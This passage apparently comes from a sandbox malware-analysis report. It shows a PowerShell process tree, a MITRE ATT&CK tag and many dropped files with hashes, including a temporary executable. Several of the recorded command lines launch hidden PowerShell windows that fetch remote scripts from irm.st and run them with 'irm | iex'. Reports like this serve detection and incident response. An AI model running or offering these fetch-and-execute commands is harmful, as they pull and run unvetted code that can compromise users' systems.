                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/950932 | iex"
                  2⤵
                    PID:1816
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/621877 | iex"
                  1⤵
                    PID:4648
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/621877 | iex"
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:4872
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/155836 | iex"
                    1⤵
                      PID:3076
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/155836 | iex"
                        2⤵
                          PID:1904
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/824537 | iex"
                        1⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:5044
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/824537 | iex"
                          2⤵
                            PID:5108
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/865243 | iex"
                          1⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:4108
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/865243 | iex"
                            2⤵
                              PID:4548
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/815793 | iex"
                            1⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:2060
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/815793 | iex"
                              2⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:2232
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/726586 | iex"
                            1⤵
                              PID:3296
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/726586 | iex"
                                2⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3584
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/613969 | iex"
                              1⤵
                                PID:2776
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/613969 | iex"
                                  2⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:2668
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/132086 | iex"
                                1⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4868
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/132086 | iex"
                                  2⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:948
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/425099 | iex"
                                1⤵
                                  PID:4304
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/425099 | iex"
                                    2⤵
                                      PID:4428

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        powershell.exe.log
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                        • Size 3KB
                                        • SHA256 8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 80a78952c77a0128fa1484dfcb9cd6d687dae69b26fcad43617cbd81cd3a7797
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 58f3c43e4eb8bd85494af2bddd15214f290183b54fc5d0bc03c1a878e384ae5d
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 9ba130ce16cb02e12b26d32da19dbfc3daaf300c5a2c3d6d66f571dfc12d23d6
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 c5cec843bdb5784090445eb3ff7ed3d2953601de09ba742e1b9a758be44644da
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 dcdcf1201a221519c74bea32925166b11bd0a0ebbc7bb3e5c6830462781f00e5
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 7cf2c60d2e56601efa01136479eca07c5f75eef597fbadf656067799c271ae30
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 9ac24bd305a998f11c231e59b3e2540408f4fd456f9d188cf4715f480b2762e0
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 15e0e503e4020dadd0929d3181e52bb8eb10112598c1706987113a897e0e11bf
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 3e11861f4d3eb22d6fadeabb6e69dd4b389ab721821f898ed3ac959f233eb703
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 42bbff6624143bae23acb5a7802dd5d2e371907c29cdd2a1c1d3863f0f0e9773
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 b3df6137e487e7d8e73ec185c065c8bed71a87316413c1bb3a9bc0ba86e68c69
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 82281018b0b9aae816f57fe1b42ec32957b96fb933db399576f04b2c6d062755
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 0237e97054e6f608ed845bbdc012ff9074072477123f8ae554c2ef337e4f6c6c
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 23c696f9bcccbbca69ca00dd44436b9709ddb4a77faf0a0a41a5994eed6ed661
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 b484a1a1bc198e7af6d23e68ea7192b746dc571db0a66ff736bb9cfa1137bd5a
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 046c745d726999e0d7c1f638d3e07bbe43716c07ee64988a12eba5ea903c8e1e
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 d7d1bdd87c2d32c94c3867802fbfb54f74cc3283e49286d88f1ccfc6f1d32d27
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 6f3a93c5f4548c8ac12604f5bdc8c48ad0e4734aa03036b2891b24b4af501523
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 d117d0d2a3131458af1e7671b91e48044d52d38f0fff22647f706bf75777e41d
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 2de12b3d390ab8740765e51c55740c75c316f915f72f288d27c9afa1f448d788
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 9082528873d97e817a22d4d47eb8f154db48eb5b4ec2fe1242b58e490d27d33c
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 dcd38897af9c377660bb2e21650456740bb5b291ec740dfc47e8fcc93c5b1ae8
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 be28b590c093510cda8d37aa5a7691f63d9f5f5a19ab03e3be0ed3ee385a2cab
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 116f277d081ef89e0505234c5b7644a04db67c6560698099a8c1d969e0de8687
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 9623296bef114cf112fb1e90e09ee1ddd26aec92ed1634348f1197d28b36e091
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 df29ad49b27a5bceca94601e14ef5bf5d5191b5e2cdb6f0b3ef876cfa3b43eea
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 17c873879cc9e02489d49ca8ef90d5f7e244088ff7708069291eb92a544ba047
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 e7ed888b49b886bcbfbf6b404b21abe8902648ff73a7bb9352da33dc811eb6fb
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 b1117bea945a4819f31ee32ce5ed3a3d326bc074b09b4a04be5a663c09b440b1
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 48ea9192f1e169cd2dbabae8d08a1c2a55f0103a9c92613d84f2d2744414bcd9
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 292c9d2faf396e6012235aab47b2727dc1827c07ce10767abc3d4122af3028c2
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 dad4b38a3d8bcaec178243f8e78d88cde37000a3c7c2bcfa5ebe7db7e5070a6d
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 762f06f55618d331aa54132810b5b67960190f42271bec039fa4d5d955473eca
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 482da262250971503bd6b716fce0eafa4565800763b72f949b7899e7abbaa1ae
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 b3fd4701bfb1d41fbdc93d0e19070f2f27bee544ad2aef726187d7019487fc27
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 6110b158c320dd5193d5a436bd68ec0447c53196c10ec05bfc32adba17447c82
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 617fb0100fc9ad9247515351e5582b490abc46032ab4ceb6e33a6f4fa9642a0a
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 777dc081ca1590f2808623bec9b8fb519d2b544ff3687a6c4264d3f4ac24c775
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 7b1a47a63e49c69203e3510835dd978de5c88c482aa7ff292520fa518e098964
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 1f2433e0a0dea05fc380392bebf6948a0108543acadbc7e583b719df90be1f70
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 0778cd445360fbaa095491c846150b410b93cff0d3846a3effa58b2fec12ae7b
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 155e3fc7ee447c42d91af0450239dcb334a60351b6157ffc56891c152164dd89
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 eb1f240f4f10a45e508c3abb5db25e7c066f33619fb89dd94165ceb2279d703c
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 606a2de32fdbbc70596c075f6d96cda10ea28570103dfea6112c6c9b0cce46bd
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 e46cd6b6b9b3fec2a0e9d4834e5c3e485bd724cf066cecc616d5d41b9dda1171
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 21997f06908584bd0498a3a31a0a915cbd63f07e5344cc5050667cc325d3c902
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 aaa2df7a380d2fe424197ebe626e2e32e72a8e45a4c9ac22bbb5c084b5a94c56
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 e0aa22d67c4b2ffbfb316fa9a97974f11147fae060b6786a1e2366a728ed68d2
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 4a9c11933500a923fea81e8a44290afca6d4c26b9fd7e88293fb828e4e70e470
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 6a88e87819775a16f38abc4df372ff7abeae237bf8d4dd878c13f96676a875bb
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 8bf28450c6a012abcce1433767967164e47f54f57751170b8ded5d01ef60651f
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 d1c361f241e91327eaef5371c1a62a143d04b4e4925c20f19194d7406c16825c
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 91ee37e2c5a577a3b7a830e185ce78f5e57cdbe146c9bc813e755b5537f82e2e
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 8795b654f54a7b3909c1922b708d8a4e81110e7772670a3cca4ae19e028d6634
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        StartupProfileData-NonInteractive
                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                        • Size 1KB
                                        • SHA256 03fdff68d34b737d8fba4c55800ec0434516d5551dfd53e17744c16a6dc57b34
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        __PSScriptPolicyTest_ywphzibt.0qe.ps1
                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywphzibt.0qe.ps1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH
                                        Submit Download

                                        bndC791.tmp.exe
                                        • Path C:\Users\Admin\AppData\Local\Temp\bndC791.tmp.exe
                                        • Size 534KB
                                        • SHA256 ceca7da25b7af7d3545c553b8285145f19d687708811ca9a2155e5854d50f1f1
                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                        Submit Download

                                        memory/628-82-0x000001C858900000-0x000001C858916000-memory.dmp
                                        Download

                                        memory/2180-33-0x000001F5B1020000-0x000001F5B1122000-memory.dmp
                                        Download

                                        memory/2180-31-0x000001F5B14D0000-0x000001F5B14FA000-memory.dmp
                                        Download

                                        memory/2180-32-0x000001F5B14D0000-0x000001F5B14F4000-memory.dmp
                                        Download

                                        memory/2180-35-0x000001F5B14A0000-0x000001F5B14B2000-memory.dmp
                                        Download

                                        memory/2180-36-0x000001F5B1130000-0x000001F5B113A000-memory.dmp
                                        Download

                                        memory/2180-54-0x000001F5B1020000-0x000001F5B1122000-memory.dmp
                                        Download

                                        memory/2796-2-0x000001CE34370000-0x000001CE34380000-memory.dmp
                                        Download

                                        memory/2796-1-0x000001CE34370000-0x000001CE34380000-memory.dmp
                                        Download

                                        memory/2796-13-0x000001CE34300000-0x000001CE34322000-memory.dmp
                                        Download

                                        memory/2796-18-0x000001CE36D00000-0x000001CE36EC2000-memory.dmp
                                        Download

                                        memory/2796-21-0x000001CE365F0000-0x000001CE3673E000-memory.dmp
                                        Download